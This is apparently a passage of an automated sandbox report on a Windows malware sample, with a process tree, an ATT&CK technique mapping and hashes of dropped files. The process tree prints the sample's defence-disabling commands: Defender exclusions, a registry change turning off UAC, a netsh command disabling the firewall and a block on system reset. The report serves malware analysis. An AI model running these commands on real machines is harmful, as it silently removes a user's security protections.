        Suspicious use of WriteProcessMemory
        
        PID:4216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\update.bat'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Windows\update.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4972
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:4664
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:1320
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:2836
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Recovery" /v AllowResetThisPC /t REG_DWORD /d 0 /f
      4⤵
      PID:3596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDDCD.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:756
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:2352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:5116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4952

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:1936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
eb1ad317bd25b55b2bbdce8a28a74a94

SHA1
98a3978be4d10d62e7411946474579ee5bdc5ea6

SHA256
9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98

SHA512
d011f266c0240d84470c0f9577cd9e4927309bd19bb38570ca9704ed8e1d159f9bea982a59d3eefef72ce7a10bd81208b82e88ef57c7af587f7437a89769adc0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
a7cc007980e419d553568a106210549a

SHA1
c03099706b75071f36c3962fcc60a22f197711e0

SHA256
a5735921fc72189c8bf577f3911486cf031708dc8d6bc764fe3e593c0a053165

SHA512
b9aaf29403c467daef80a1ae87478afc33b78f4e1ca16189557011bb83cf9b3e29a0f85c69fa209c45201fb28baca47d31756eee07b79c6312c506e8370f7666

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_abczls5l.puq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpDDCD.tmp.bat

Filesize
175B

MD5
f095ee82371a2b68448037efa8b1602b

SHA1
f1ec5ce0648d99f2da48e6dc8078ab7385caf860

SHA256
3e8f40b069b38ece9d04d818cb9196cc0e2daa0d9e30082d9f9a621c8b4274a8

SHA512
ab2ab540692aab572654be6d026413c39462389f3cd465e4321cffc0e6deb43e7c5ee16cb99cab2d3cda193699fba353817742d418ab77c6561faac07af6e183

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_810.vbs

Filesize
124B

MD5
65215277d6c6d9a69e855c4d28bcd996

SHA1
e698f5809978ffdb3188f9aa372f6e3fbca99dcd

SHA256
7c506a55c0a2d9b0942b886357d357cd24ca08742fe05e8b66bc200a8082996d

SHA512
0f03fc9c63443575167f44f3ff8c0e8b7cb2c9ad936299dd0c49abea3974ec687ec90267ad7ce10af7435544afa02510c022a70dc868cf3f9b9b9e3dc9752605

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
C:\Windows\System32\console.bat

Filesize
437KB

MD5
b08bfb047ff04826e7461c2e32b41516

SHA1
f04cdd46796b014bc35213c87d230da7f09a66e2

SHA256
e041f4318778e2d53a86a0c18691892fb0a63027c8d11a618db5f09088572c69

SHA512
7a624f6b805f1443be075eda90fb6c10ac2813b58c093d82a82042b3a0d4b34058f0e05f11c74335b7293ec404496d17e2199a116357c7544af29e3e61f6b523

Download Submit
C:\Windows\update.bat

Filesize
378B

MD5
d57c8b3e71c2f970757fe7991f48e98c

SHA1
214e054fa8357a7214c7f3b1dfe74ca39257041f

SHA256
5007b8d9c63ace482b7a32959eb57074c7b8b631bbd0e9be7659b5684b30c431

SHA512
5f9285715c0ab321d2f0acf8b92526d03e67e89a98e8f08a6febe8659e6a7a929c96fc5e0a81a2832e22e777dd157f3a4a7331ce363408db9dca6305647fee83

Download Submit
memory/800-159-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download
memory/952-148-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download
memory/1072-156-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download
memory/1272-157-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download
memory/1640-158-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download
memory/1656-151-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download
memory/1720-152-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download
memory/1772-147-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download
memory/2004-153-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download
memory/2296-160-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download
memory/2516-150-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download
memory/2648-149-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download
memory/2736-155-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download
memory/3004-4-0x00007FFF42910000-0x00007FFF433D1000-memory.dmp

Filesize
10.8MB

Download
memory/3004-5-0x00000285FB530000-0x00000285FB552000-memory.dmp

Filesize
136KB

Download
memory/3004-17-0x00007FFF42910000-0x00007FFF433D1000-memory.dmp

Filesize
10.8MB

Download
memory/3156-35-0x000001CE5BD80000-0x000001CE5BF9C000-memory.dmp

Filesize
2.1MB

Download
memory/3184-0-0x00007FFF42913000-0x00007FFF42915000-memory.dmp

Filesize
8KB

Download
memory/3184-56-0x00007FFF42910000-0x00007FFF433D1000-memory.dmp

Filesize
10.8MB

Download
memory/3184-3-0x00007FFF42910000-0x00007FFF433D1000-memory.dmp

Filesize
10.8MB

Download
memory/3184-2-0x000000001B400000-0x000000001B456000-memory.dmp

Filesize
344KB

Download
memory/3184-1-0x00000000007A0000-0x00000000008E0000-memory.dmp

Filesize
1.2MB

Download
memory/3428-146-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download
memory/3428-98-0x00000000024E0000-0x000000000250A000-memory.dmp

Filesize
168KB

Download
memory/3632-69-0x0000029A504D0000-0x0000029A50524000-memory.dmp

Filesize
336KB

Download
memory/3632-66-0x0000029A50110000-0x0000029A50154000-memory.dmp

Filesize
272KB

Download
memory/3632-67-0x0000029A50550000-0x0000029A505C6000-memory.dmp

Filesize
472KB

Download
memory/3632-68-0x0000029A500A0000-0x0000029A500A8000-memory.dmp

Filesize
32KB

Download
memory/4216-194-0x000001E337F10000-0x000001E337F4E000-memory.dmp

Filesize
248KB

Download
memory/5116-154-0x00007FFF20A10000-0x00007FFF20A20000-memory.dmp

Filesize
64KB

Download